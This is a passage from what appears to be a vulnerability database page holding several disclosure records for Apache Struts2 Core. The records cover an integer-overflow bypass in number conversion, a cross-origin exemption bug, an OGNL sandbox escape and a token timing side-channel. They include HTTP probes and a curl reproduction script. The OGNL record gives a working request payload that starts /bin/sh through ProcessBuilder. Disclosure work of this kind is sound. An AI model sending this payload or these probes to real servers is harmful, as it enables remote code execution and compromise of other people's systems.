application assumes was range-validated reach downstream business logic as an unexpected negative, \nzero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations \nand any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the \ncaller\u0027s submitted intent.\n\nExamples\nSample Code\n`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses \na request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped \nstring to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same \ngrouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as \nconfirmation that the value is in range. Once `isInRange` has incorrectly reported that the value is acceptable, \ncontrol returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an \n`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.\n\n```java\n } else {\n if (stringValue.isEmpty()) {\n return null;\n }\n NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));\n ParsePosition parsePos = new ParsePosition(0);\n if (isIntegerType(toType)) {\n numFormat.setParseIntegerOnly(true);\n }\n numFormat.setGroupingUsed(true);\n Number number = numFormat.parse(stringValue, parsePos);\n\n if (parsePos.getIndex() != stringValue.length()) {\n throw new TypeConversionException(\"Unparseable number: \\\"\" + stringValue + \"\\\" at position \"\n + parsePos.getIndex());\n } else {\n if (!isInRange(number, stringValue, toType))\n throw new TypeConversionException(\"Overflow or underflow casting: \\\"\" + stringValue + \"\\\" into \nclass \" + number.getClass().getName());\n\n value = super.convertValue(context, number, toType);\n }\n }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines \n57-78\n\n```java\n } else if (int.class == toType || Integer.class == toType) {\n bigValue = new BigInteger(stringValue);\n lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);\n upperBound = BigInteger.valueOf(Integer.MAX_VALUE);\n } else if (long.class == toType || Long.class == toType) {\n bigValue = new BigInteger(stringValue);\n lowerBound = BigInteger.valueOf(Long.MIN_VALUE);\n upperBound = BigInteger.valueOf(Long.MAX_VALUE);\n } else {\n throw new IllegalArgumentException(\"Unexpected numeric type: \" + toType.getName());\n }\n } catch (NumberFormatException e) {\n //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat\n return true;\n }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222\n\n```java\nif ((toType == Integer.class) || (toType == Integer.TYPE))\n result = (int) longValue(value);\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, \nlines 122-123, showing the casting to `int` that causes the wrap-around\n\nSample Request-Response Pairs\n`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a \nboxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in \n`struts2-core` is reachable through this action\u0027s ordinary input binding. The four live probes below, each issued on a \nfreshly established session with devMode\u0027s `DebuggingInterceptor` set to `debug=command\u0026expression=age` so that the \nbound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe \nsubmits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first \ncontrol submits the identical magnitude without a comma and that is correctly rejected; the second control submits a \ngenuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that \nconverts correctly.\n\n```http\nGET \n/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648\u0026name=overflow-grouped-probe\u0026debug=command\u0026expression=age\n HTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 11\n\n-2147483648\n```\nThe server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to \n`-2147483648` instead of raising a `TypeConversionException`\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=2147483648\u0026name=overflow-ungrouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator\n\n```http\nHTTP/1.1 200\nContent-Type: text/html;charset=ISO-8859-1\nContent-Length: 3154\n\n\u003c!-- ... --\u003e\u003chtml\u003e...\u003ctitle\u003eStruts Problem Report\u003c/title\u003e...\n```\nThe server correctly rejects the value, catching the overflow\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=1%2C234\u0026name=in-range-grouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=1,234` -- an in-range, comma-grouped number\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 4\n\n1234\n```\nResponse showing that numbers with commas that remain in-bounds stay as such and are properly interpreted\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=42\u0026name=baseline-control\u0026debug=command\u0026expression=age HTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=42` -- a bare baseline value\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 2\n\n42\n```\nResponse showing correct conversion, as one would expect\n\nSteps to Reproduce\nThis is intended to run against a system using the showcase example. Remember that the issue is locale-aware, so your \ngrouping may not be via commas.\n\n```zsh\n#!/usr/bin/env zsh\n\nBASE_URL=\"http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action\"\n\necho \"=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=2,147,483,648\" \\\n --data-urlencode \"name=overflow-grouped-probe\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=2147483648\" \\\n --data-urlencode \"name=overflow-ungrouped-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=1,234\" \\\n --data-urlencode \"name=in-range-grouped-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 3: age=42 (bare baseline) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=42\" \\\n --data-urlencode \"name=baseline-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T09:47:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/4"
},
{
"url": "http://127.0.0.1"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/4"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core Integer Overflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0535",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4",
"automated": true,
"contentSha256": "583dfe749702b67a9da19a3e0eccc51f4322c13b628fe6abeaac5818c1f388f2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/4",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-29T14:52:23Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T09:47:24Z",
"dateUpdated": "2026-11-02T09:47:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0535"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0534
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
EPSS
VEX
Title
Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path
Summary
Description
Apache Struts2 Core version 7.4.0 and below's `FetchMetadataInterceptor`, `CoepInterceptor`, and `CoopInterceptor` each
compare their `exemptedPaths` configuration -- a per-interceptor-reference, administrator-supplied set of paths
intended to exempt specific actions from the corresponding cross-origin protection -- against
`HttpServletRequest.getContextPath()`. `getContextPath()` is fixed for the entire deployed web application and is
identical on every request regardless of which action or servlet path is being invoked, so it cannot distinguish one
action from another.
Impact
An administrator who configures `exemptedPaths` expecting it to exempt a specific action or endpoint, instead is
configuring a value that can never match the real, single, deployment-wide context path returned on genuine traffic, so
the per-action exemption never takes effect and the intended protection remains enforced everywhere, including on the
endpoint the administrator believed was exempted. More importantly, if an administrator's configured exemption string
happens to coincide with the application's actual context path -- such as if an administrator assumes that the
parameter takes a path-like value and supplies the deployment's own root or an equally-named segment --
`exemptedPaths.contains(contextPath)` evaluates to `true` on every single request to the application and Fetch Metadata
request filtering, the Cross-Origin Embedder Policy (COEP) header, and the Cross-Origin Opener Policy (COOP) header are
all silently disabled for the entire deployment (well beyond the endpoint that the administrator intended to exempt),
disabling the protections that such code is intended to provide across the entire application.
Examples
Sample Code
All three interceptors, each in `struts2-core`, apply the identical pattern -- a per-action `exemptedPaths` set
compared against the deployment-wide `getContextPath()` rather than against anything that actually varies per action.
```java
private final Set<String> exemptedPaths = new HashSet<>();
private final ResourceIsolationPolicy resourceIsolationPolicy = new StrutsResourceIsolationPolicy();
@Inject(required = false)
public void setExemptedPaths(String paths) {
this.exemptedPaths.addAll(TextParseUtil.commaDelimitedStringToSet(paths));
}
@Override
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext context = invocation.getInvocationContext();
HttpServletRequest request = context.getServletRequest();
addVaryHeaders(invocation);
String contextPath = request.getContextPath();
// Apply exemptions: paths/endpoints meant to be served cross-origin
if (exemptedPaths.contains(contextPath)) {
return invocation.invoke();
}
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/FetchMetadataInterceptor.java,
lines 55-73
```java
@Override
public void beforeResult(ActionInvocation invocation, String resultCode) {
HttpServletRequest req = invocation.getInvocationContext().getServletRequest();
final String path = req.getContextPath();
if (exemptedPaths.contains(path)) {
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/CoepInterceptor.java, lines 59-63
```java
@Override
public void beforeResult(ActionInvocation invocation, String resultCode) {
HttpServletRequest request = invocation.getInvocationContext().getServletRequest();
String path = request.getContextPath();
if (isExempted(path)) {
```
Code from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/CoopInterceptor.java, lines 61-65
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/3 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\nApache Struts2 Core version 7.4.0 and below\u0027s `FetchMetadataInterceptor`, `CoepInterceptor`, and `CoopInterceptor` each \ncompare their `exemptedPaths` configuration -- a per-interceptor-reference, administrator-supplied set of paths \nintended to exempt specific actions from the corresponding cross-origin protection -- against \n`HttpServletRequest.getContextPath()`. `getContextPath()` is fixed for the entire deployed web application and is \nidentical on every request regardless of which action or servlet path is being invoked, so it cannot distinguish one \naction from another.\n\nImpact\nAn administrator who configures `exemptedPaths` expecting it to exempt a specific action or endpoint, instead is \nconfiguring a value that can never match the real, single, deployment-wide context path returned on genuine traffic, so \nthe per-action exemption never takes effect and the intended protection remains enforced everywhere, including on the \nendpoint the administrator believed was exempted. More importantly, if an administrator\u0027s configured exemption string \nhappens to coincide with the application\u0027s actual context path -- such as if an administrator assumes that the \nparameter takes a path-like value and supplies the deployment\u0027s own root or an equally-named segment -- \n`exemptedPaths.contains(contextPath)` evaluates to `true` on every single request to the application and Fetch Metadata \nrequest filtering, the Cross-Origin Embedder Policy (COEP) header, and the Cross-Origin Opener Policy (COOP) header are \nall silently disabled for the entire deployment (well beyond the endpoint that the administrator intended to exempt), \ndisabling the protections that such code is intended to provide across the entire application.\n\nExamples\nSample Code\nAll three interceptors, each in `struts2-core`, apply the identical pattern -- a per-action `exemptedPaths` set \ncompared against the deployment-wide `getContextPath()` rather than against anything that actually varies per action.\n\n```java\n private final Set\u003cString\u003e exemptedPaths = new HashSet\u003c\u003e();\n private final ResourceIsolationPolicy resourceIsolationPolicy = new StrutsResourceIsolationPolicy();\n\n @Inject(required = false)\n public void setExemptedPaths(String paths) {\n this.exemptedPaths.addAll(TextParseUtil.commaDelimitedStringToSet(paths));\n }\n\n @Override\n public String intercept(ActionInvocation invocation) throws Exception {\n ActionContext context = invocation.getInvocationContext();\n HttpServletRequest request = context.getServletRequest();\n\n addVaryHeaders(invocation);\n\n String contextPath = request.getContextPath();\n // Apply exemptions: paths/endpoints meant to be served cross-origin\n if (exemptedPaths.contains(contextPath)) {\n return invocation.invoke();\n }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/FetchMetadataInterceptor.java, \nlines 55-73\n\n```java\n @Override\n public void beforeResult(ActionInvocation invocation, String resultCode) {\n HttpServletRequest req = invocation.getInvocationContext().getServletRequest();\n final String path = req.getContextPath();\n\n if (exemptedPaths.contains(path)) {\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/CoepInterceptor.java, lines 59-63\n\n```java\n @Override\n public void beforeResult(ActionInvocation invocation, String resultCode) {\n HttpServletRequest request = invocation.getInvocationContext().getServletRequest();\n String path = request.getContextPath();\n\n if (isExempted(path)) {\n```\nCode from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/CoopInterceptor.java, lines 61-65\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T09:47:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/3"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/3"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/3"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0534",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/3",
"automated": true,
"contentSha256": "a8d947043423f1c7e5b1240cd8d1e751ef827342a6bd4f7efbe0e59b3c279252",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/3",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-29T13:34:55Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T09:47:24Z",
"dateUpdated": "2026-11-02T09:47:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0534"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0532
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
EPSS
VEX
Title
Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape
Summary
Description
Apache Struts2 Core version 7.4.0 and below attempt to prevent arbitrary code execution via Object-Graph Navigation
Language (OGNL) through several different mechanisms but only in a cursory fashion -- the libraries only guard against
immediate calls evaluated by the OGNL engine via `SecurityMemberAccess`, but an allowed call that, instead, accepts
nested arguments and, itself, invokes reflection internally executes outside of the scope of said cursory protections,
thereby enabling attackers to bypass the limited protections entirely.
It should be noted that this attack, obviously, only works in locations where the information system runs the
input/output through an OGNL parser and executor. Moreover, there is a key difference between Struts2 Core 6.x and
below and 7.x -- 7.x favours a whitelist-based approach that is coupled with some blacklisting, while 6.x and below
only check a blacklist (if anything at all). This means that for successful exploitation in 6.x and below, attackers
can simply find a call that uses reflection and that isn't explicitly blacklisted (e.g., `java.beans.Statement` and
`java.beans.Expression`), embed the otherwise disallowed reflective call, and watch it run. In 7.x, however, attackers
must use something that has been explicitly allowed, first, as the wrapper, which raises the bar for exploitation,
reducing the likelihood for most systems running 7.x (if someone does not realise that the Struts2 Core library only
provides cursory protections, they will not understand the risk and may accidentally add something like
`java.beans.Statement`), but does not reduce the impact or eliminate the risk.
Impact
Attackers can bypass the Apache Struts2 Core and OGNL library's protections against arbitrary code execution via
malicious OGNL through nested calls, thereby executing arbitrary code on the information system. Importantly, through
this, attackers can bypass not only the class/method checks, but also the static/non-static checks, allowing attackers
to, for example, call to `ProcessBuilder`, dump the environment variables via `System.getenv(String)`, and various
other such calls.
Steps to Reproduce
Sample Query
The following will work on Apache Struts2 Core versions 6.x and below (assuming that `query` runs through the OGNL
parser, etc. -- this can happen on the request, but also if the string is reflected back in, say, a JSP via tags that
do as such) without much effort. On Apache Struts2 Core 7.x, though, `java.beans.Expression` would need to be
whitelisted, first.
GET
/search.action?query=new+java.beans.Expression(new+java.beans.Expression(%40java.lang.ProcessBuilder%40class,'new',new+Object%5B%5D%7Bnew+String%5B%5D%7B'/bin/sh','-c','id+%3E+%3C%3CREPLACE+ME+--+a+fresh+marker+file+path%3E%3E'%7D%7D).getValue(),'start',new+Object%5B0%5D).getValue()
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/7 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\nApache Struts2 Core version 7.4.0 and below attempt to prevent arbitrary code execution via Object-Graph Navigation \nLanguage (OGNL) through several different mechanisms but only in a cursory fashion -- the libraries only guard against \nimmediate calls evaluated by the OGNL engine via `SecurityMemberAccess`, but an allowed call that, instead, accepts \nnested arguments and, itself, invokes reflection internally executes outside of the scope of said cursory protections, \nthereby enabling attackers to bypass the limited protections entirely.\n\nIt should be noted that this attack, obviously, only works in locations where the information system runs the \ninput/output through an OGNL parser and executor. Moreover, there is a key difference between Struts2 Core 6.x and \nbelow and 7.x -- 7.x favours a whitelist-based approach that is coupled with some blacklisting, while 6.x and below \nonly check a blacklist (if anything at all). This means that for successful exploitation in 6.x and below, attackers \ncan simply find a call that uses reflection and that isn\u0027t explicitly blacklisted (e.g., `java.beans.Statement` and \n`java.beans.Expression`), embed the otherwise disallowed reflective call, and watch it run. In 7.x, however, attackers \nmust use something that has been explicitly allowed, first, as the wrapper, which raises the bar for exploitation, \nreducing the likelihood for most systems running 7.x (if someone does not realise that the Struts2 Core library only \nprovides cursory protections, they will not understand the risk and may accidentally add something like \n`java.beans.Statement`), but does not reduce the impact or eliminate the risk.\n\nImpact\nAttackers can bypass the Apache Struts2 Core and OGNL library\u0027s protections against arbitrary code execution via \nmalicious OGNL through nested calls, thereby executing arbitrary code on the information system. Importantly, through \nthis, attackers can bypass not only the class/method checks, but also the static/non-static checks, allowing attackers \nto, for example, call to `ProcessBuilder`, dump the environment variables via `System.getenv(String)`, and various \nother such calls.\n\nSteps to Reproduce\nSample Query\nThe following will work on Apache Struts2 Core versions 6.x and below (assuming that `query` runs through the OGNL \nparser, etc. -- this can happen on the request, but also if the string is reflected back in, say, a JSP via tags that \ndo as such) without much effort. On Apache Struts2 Core 7.x, though, `java.beans.Expression` would need to be \nwhitelisted, first.\n\nGET \n/search.action?query=new+java.beans.Expression(new+java.beans.Expression(%40java.lang.ProcessBuilder%40class,\u0027new\u0027,new+Object%5B%5D%7Bnew+String%5B%5D%7B\u0027/bin/sh\u0027,\u0027-c\u0027,\u0027id+%3E+%3C%3CREPLACE+ME+--+a+fresh+marker+file+path%3E%3E\u0027%7D%7D).getValue(),\u0027start\u0027,new+Object%5B0%5D).getValue()\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T09:47:23Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/7"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/7"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/7"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0532",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/7",
"automated": true,
"contentSha256": "60321ac6a5ec6f5d5d4217c469c4fbe93afcacde091963f39ea8e8fe53d58812",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/7",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-01T22:23:31Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T09:47:23Z",
"dateUpdated": "2026-11-02T09:47:23Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0532"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0531
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
EPSS
VEX
Title
Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel
Summary
Description
The Apache Struts2 Core 7.4.0 and below performs session token comparisons cryptographically insecure early-exit
comparison functions (e.g., `!=`, `memcmp`, byte-by-byte loops with `break`) that return as soon as the first
mismatched byte is encountered. The execution time of the comparison is therefore proportional to the number of
leading bytes that match, creating a measurable timing side-channel. Importantly, this side-channel has been
dynamically verified and exploited across networks using modern techniques that reduce/factor out latency.
Impact
Attackers can measure response latency, iteratively determining the correct value of the hash or secret one byte at a
time, reducing the attack complexity from `36^n`, where `n` is the number of bytes in the secret. While, in the ideal
circumstance, the complexity of a pure brute-force attack would be `2^165` since the system is using a 165-bit
BigInteger, the conversion from BigInteger to an A-Z0-9 string does not map cleanly -- the resulting string, itself,
can actually be 31 or 32 characters long and bytes don't simply slot into a given character or position, thus requiring
the greater `36^32` brute-force. With that said, in a system where lag can be injected, latency reduced or factored
out, the theoretical floor move from the worst case `36^32` to `36*32` (1,152 requests). Of course, since the string
length can vary by one, attackers must first determine the string length, which can be done via two requests -- one
with each length -- a trivial addition to the worst case mentioned above but worth noting.
Successful exploitation enables bypassing the `TokenHelper`-generated token, which is designed to "[s]top
double-submission of forms" and may be used by information systems as a nonce as part of cross-site request forgery
protections.
Examples
Sample Code
`TokenHelper.validToken()`, leveraged by both `TokenInterceptor.handleToken(ActionInvocation)` and
`TokenSessionStoreInterceptor.handleToken(ActionInvocation)`, utilises the cryptographically insecure, early-exiting
`String.equals(String)` method to compare the in-session token against the user-provided token.
```java
/**
* Checks for a valid transaction token in the current request params. If a valid token is found, it is
* removed so the it is not valid again.
*
* @return false if there was no token set into the params (check by looking for {@link #TOKEN_NAME_FIELD}), true
if a valid token is found
*/
public static boolean validToken() {
String tokenName = getTokenName();
if (tokenName == null) {
LOG.debug("No token name found -> Invalid token ");
return false;
}
String token = getToken(tokenName);
if (token == null) {
LOG.debug("No token found for token name {} -> Invalid token ", normalizeSpace(tokenName));
return false;
}
Map session = ActionContext.getContext().getSession();
String tokenSessionName = buildTokenSessionAttributeName(tokenName);
String sessionToken = (String) session.get(tokenSessionName);
if (!token.equals(sessionToken)) {
if (LOG.isWarnEnabled()) {
LocalizedTextProvider localizedTextProvider =
ActionContext.getContext().getContainer().getInstance(LocalizedTextProvider.class);
LOG.warn(localizedTextProvider.findText(TokenHelper.class, "struts.internal.invalid.token",
ActionContext.getContext().getLocale(), "Form token {0} does not match the expected session token.", new Object[]{
normalizeSpace(token)
}));
}
Dispatcher dispatcher = Dispatcher.getInstance();
if (dispatcher != null && dispatcher.isDevMode()) {
LOG.warn("Token mismatch detail - token name [{}], form token [{}], session token [{}]",
normalizeSpace(tokenName), normalizeSpace(token), sessionToken);
}
return false;
}
// remove the token so it won't be used again
session.remove(tokenSessionName);
ActionContext.getContext().put(VALIDATED_TOKEN_KEY, new ValidatedToken(tokenName, token));
return true;
}
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/util/TokenHelper.java, lines 164-210
```java
protected String handleToken(ActionInvocation invocation) throws Exception {
//see WW-2902: we need to use the real HttpSession here, as opposed to the map
//that wraps the session, because a new wrap is created on every request
HttpSession session = ServletActionContext.getRequest().getSession(true);
synchronized (session.getId().intern()) {
if (!TokenHelper.validToken()) {
return handleInvalidToken(invocation);
}
}
return handleValidToken(invocation);
}
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/TokenInterceptor.java, lines 140-150,
showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on
`session.getId().intern()`, though that is a separate finding with a separate write-up
```java
@Override
protected String handleToken(ActionInvocation invocation) throws Exception {
//see WW-2902: we need to use the real HttpSession here, as opposed to the map
//that wraps the session, because a new wrap is created on every request
HttpSession session = ServletActionContext.getRequest().getSession(true);
synchronized (session.getId().intern()) {
if (!TokenHelper.validToken()) {
return handleInvalidToken(invocation);
}
return handleValidToken(invocation);
}
}
```
Code from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/TokenSessionStoreInterceptor.java, lines
104-115, showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on
`session.getId().intern()`, though that is a separate finding with a separate write-up
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/6 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
